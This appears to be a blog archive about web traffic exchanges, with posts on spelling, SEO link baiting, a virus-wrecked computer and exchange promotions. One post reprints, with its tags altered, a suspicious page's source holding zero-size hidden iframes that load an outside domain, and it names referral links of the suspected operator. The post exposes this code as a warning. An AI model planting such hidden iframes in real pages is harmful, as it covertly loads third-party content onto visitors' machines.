Spielcheck

If you were to walk abroad with mud on your face or a great rip in your pants, you might not get a very good response from John Q. Public.  So it is with your website or email messages; if there are glaring spelling, grammatical or punctuation errors in your prose, you may lose face - and maybe some readers as well.

Some of the words most often misspelled are commission, referral, separate, receive, allege, always, affiliate, attach.  What to do about it?  Use a spellchecker.  Most wordprocessing programs - and some email providers - include a spellchecker.

Sometimes the wrong word may appear in text because of a misspelling; for example,  "loose" (pronounced 'looce') is used instead of "lose" (pronounced 'looze').  A similar problem arises with homonyms - words sounding the same but having different spellings and/or meanings, such as "there" (meaning 'in that place') and "their" (meaning 'belonging to them').  Perhaps the commonest of these errors involves "its" and "it's".  "Its" means 'belonging to it' - in a sentence such as: "I liked its flavour."  "It's", on the other hand, is short for "It is" - in a sentence such as: "It's strawberry flavoured."

One of the prolbems with misspellings is that whlie our eyes may catch the error, our brains are so smart that they often understand words even if letters are transposed.  Did you notice the two misspellings in this last sentence?  Chances are that you did not.  'Problems' and 'while' were both misspelled, but your brain probably made the necessary adjustments and you may not have noticed the errors.

A good spellchecker program will solve that problem.  It will not, however, notice if you type 'from', when you meant 'form'.  To catch errors like that needs proofreading and you will almost certainly discover that you cannot proofread your own writing.  Your 'smart' brain will often let you down by covering up your mistakes!

Ask somebody else to check your work - starting with the heading.  Headline errors are notorious.  Just because something is written in huge capital letters, it is not necessarily correct.

Now I must go and get somebody to proofread this article to make sure the only misspellings are ones I put in to make a point!

Robin Beaumont

Robin Beaumont, born, bred and educated in England, now lives in New Brunswick, Canada.  He started his writing career before there were electric typewriters, tape recorders, electronic calculators, computers or an Internet.  This short article is the first of a series on the proper use of the written word. 

Code from previous post

It would seem that I can't get this editor to pick up the code in question. I'm sorry to say that you'll have to take my word for it unless..... You follow this link and see it for yourself, http://tdhdownloads.com/crap.htm Remember, some tags were changed to disable the code

Something needs to be done.

Apparently this business with i-frames is really becoming a problem. I don't personally understand it but I do understand the word 'cheat'. It would seem that people are using i-frames to cheat various programs. They are making pages which do searches in the background and maybe even fake page displays. This has caused problems on several exchanges, both manual and auto, because they load very slowly sometimes and sometime stop the surf timer.

While surfing today, I came across a page that stopped the timer. I watched the bottom status bar as the page called up info from at least 10 different sites. As I looked at the page itself, there was no reference on it to any of these sites. I then decided to look at the page source and found some code that although I don't understand it, I don't have a problem with assuming that it was the problem. I've copied portions of it for you to look at.

I had to change some of the tags, using ~~ instead of < or > so as to reprint it here.

Notice that some of it is in the "HEAD" tag for the page. Now, notice that the small portion bolded and italicized isn't in English. The page repeatly prompts for a language pack download, both when in Mozilla and in IE. The problem is that there is no Chinese visible on the page.

I've also bolded the page title and URL so that you'll know what to look for when you see it.

Oh, wait, I'm exposing someone here aren't I. Might as well go all out then. I don't know their name at this point but here are a couple of their referral URLs:

http://www.15dailycash.com/?ref=518
http://www.sayaya.com/?ref=50

Oh well, time for me to get some work done, enjoy your day!

~~HEAD~~ ~~TITLE~~MYOBO~/TITLE~~ ~~SCRIPT LANGUAGE="JavaScript"~~~~/SCRIPT~~ ~~/HEAD~~ ~~iframe src="http://www.xuyongren.com/cbx/cge6.htm" width="0" height="0">~~/iframe~~ ~~iframe src="http://www.xuyongren.com/cbx/sjpmhzzlltj.htm" width="0" height="0">~~/iframe~~

WWW.XUYONGREN.COM Copyright© 2006-2008

~~script language="javascript"~~~~/script~~ ~~iframe src="http://www.xuyongren.com/cbx/myptp/index.htm" width="0" height="0">~~/iframe~~ ~~body~~

How To :: Effective Link Building through Link Baiting

There is a tactic out there embraced by bloggers but rarely used by typical websites. It is called Link Baiting. In this article I explain what link baiting is and how everyone, not just bloggers, can use it to build quality links. This is a topic that's been around for a while but I don't think a lot of people know what it is, or how to use it to their advantage. I think the name "Link Baiting" could be considered a black hat technique which is why most people wouldn't consider it as a legitïmate organic tactic. However link baiting is merely link building with a twist: Rather than hunting out links, you are bringing the links to you through unique and popular site content. So how does Link Baiting work? Link Baiting is just like fishing. You publish a new page on a topic (I'll cover those later) and set it free on the web. Hopefully others pick up on the content as fresh and interesting and link to it. The article is the bait, and the link is the catch. A properly created page can capture huge links on its own with little to no effort from you. For example, on another site, about a year ago, I wrote an article about the Florida Update. I spend the month or 2 after the initial update analyzing results and I then published my theory on what the update was. That article has earned 88 links to date. And the best link, in my view, is a link from the ODP from the Google News category. In fact my article appears in the top 10, and is linked to as a reference in many of the other top listings for a Google search for "Florida Update." So what was so special about the article? While I nevër intended for it to be link bait, it turns out it was a typical "hook" page. Performancing blog has a really good summary on link baiting which I will further explain here. With link building there are essentially 5 types of "hooks" or pages built to encourage links. They are: News, Contrary, Attack, Resource and Humor. A News hook is one where you report on industry news. But it's not just a rehashing of someone else's post. It should be unique – either a scoop that no one else has caught, or it could even be a summary of various viewpoints. A news hook could also be comprised of a story you have proved to be false. Contrary hooks are when you contradict what someone else says. It should be someone prominent in the industry and it should be controversial. For example, if I was to write an article that proclaimed that Danny Sullivan's latest theory was bunk, it would probably generate buzz. Especially if I could provide corroborating evidence backing up my assertion. Recently Mike Grehan posted just such an article on Clickz in which he again pointed out that he doesn't believe in a Google Sandbox. He even refers to other posts in which the Sandbox has been beaten to death. Soon after he posted this article (which, by the way was posted just one week ago) many other SEM's jumped on him purporting to have proof of the Sandbox. And, if you use Yahoo's Site Explorer to look at who links to this article, you will see that Yahoo! Has already picked up on almost 80 links to this one article. I'd say that Mike has done a great job of link baiting! Attack hooks take the contrary hooks a step further, by launching personal attacks on people taking the debunking of theories to the next level. The original post from SEOmoz was close to an attack hook, but after they edited it, it became less of an attack They reacted to the Mike Grehan article on the Sandbox with some haste and turned it personal. To their credït they did tone it down some, but it's pretty close to a flame. Who knows, maybe this article will be considered an attack on SEOmoz and will generate similar buzz. A Resource hook is more of an informational page. It's one that aggregates a bunch of information and distills it for visitors. In fact this site is much like that. We take a bunch of news, distill it to its most meaningful and then provide our interpretation of what it means. Then, others pick up on the article and either repost it, or at least link to it. Finally is a Humour hook. With this link bait you post jokes, funny stories, weird or funny pictures that you've found or anything else that will warrant a review from others and hopefully a link. There are tons of blogs devoted to this such as the Obscure Store & Reading Room and Small Town Misfit which scour the web for weird and funny stories and then display them, encouraging others to link to them. And it must be working – Small Town Misfit has over 1,600 Yahoo! Links while Obscure Store has over 1,700. So, if you were ever worried about the amount of link building you'd have to do to become an "authority", consider link baiting in your arsenal. It can be a very effective way of building links quickly and easily. Also, it's an effective way to build your reputation and brand online as more and more people learn about you through these links. About The Author Rob Sullivan is a SEO Consultant and Writer for Textlinkbrokers.com

My return....lol

Not that anyone would really notice at this point but I've been gone for about a month now. I had the misfortune to come home on Jan. 1 and find an almost dead computer. I still have no idea as to what exactly killed it but it doesn't really matter. A friend speculated that leaving Crazy Browser open and autosurfing was my downfall. Now don't get the wrong idea, I don't normally leave home when autosurfing. It was "New years" and there was a family situation that caused me to leave in a hurry. So, I had very limited function, to include no desktop. I was able to download my Pop3 e-mail but couldn't read it. I had to boot up in Safe Mode in order to read my e-mail. I spent 4 days trying to recover my "C" drive but it was useless. I finally gave up and did a re-install of XP. Now, was Crazy Browser the culprit? It may have contributed but it wasn't alone. It would have had to have been some type of virus that Crazy Browser wasn't equipped to stop/catch, (almost all if not all). That would leave me with a virus coming from an autosurf program which brings me to my point. Get the best anti-virus you can afford and or find. Scan your computer regularly and thoroughly. I can't identify the attacker but I can tell you this, it's vicious. I lost all my programs, emails, website login info and anything else that was on that drive. It'll probably be months before I can back to anywhere near where I was. Don't let this happen to you! Surf responsibly and safely at all times.

So where's the gift?

I hope everyone enjoyed their holiday.

Ok, let's get to it. I got several emails from exchange owners and admins saying that they were giving their members a "gift". Once I started to read through them however, I found that there wasn't really a gift. There were special packages with discounts but that isn't a gift.

What is a gift? The Merriam-Webster definition is
2 : something voluntarily transferred by one person to another without compensation

Notice the end where it says "without compensation". If I have to purchase a standard package and then let you add something to it, it doesn't qualify as a gift. The purchase automatically negates the term, gift. If you want to give me something, give it to me. If you want to sell me something, take your best shot, but don't try to fool me.

Exchange owners will offer specials all year long if they aren't making any money from the exchange. Perhaps they need to improve the service and thereby make a purchase a worthwhile. Many exchanges today are having trouble moving their credits. Why would I purchase more if you can't deliver those that I have?

In the spirit of the season, I commend those owners who actually gave their members something. It doesn't matter if it was an increased surf ratio or banner to credit exchange ratio, it was free. Their members were not required to do something outside their norm.

For those who used the holiday simply as a way to increase your sales, you may want to pay more attention to what your members want and need before trying to line your pockets. Every owner knows that the winds of change can blow quite quickly through this industry. The next time it blows, as an owner, you may see some of your membership blow away. There are far to many exchanges out there for anyone to have settle for what you offer.

Hello!

Hello and welcome to "The Surfer's Side". The Surfer's Side is intended to be a place for exchange surfer to say what they want about all things echange related. It doesn't matter if you're into manual, auto, or prefer the combo-exchanges. If it's related to exchange surfing and you want to say it, this IS the place. Why a blog about surfing? Because it's easier to allow all who so choose to post here than to ask every surfer I meet a multitude of questions. If I want to know anything about exchanges, someone will be able to answer me. If I ask one person at a time. I could go weeks trying to get the answer i need. Then of course there's the surfer's opinion. I'd rather hear what surfers have to say about an exchange than to just take the owner's word on everything. Surfers are going to tell you how it is, not how it's supposed to be. 'Nuf said? So, now that you're here, read what you want, say what you want, and respond to what you want. And please, no ongoing arguements. Take that crap to a forum somewhere, they enjoy that stuff.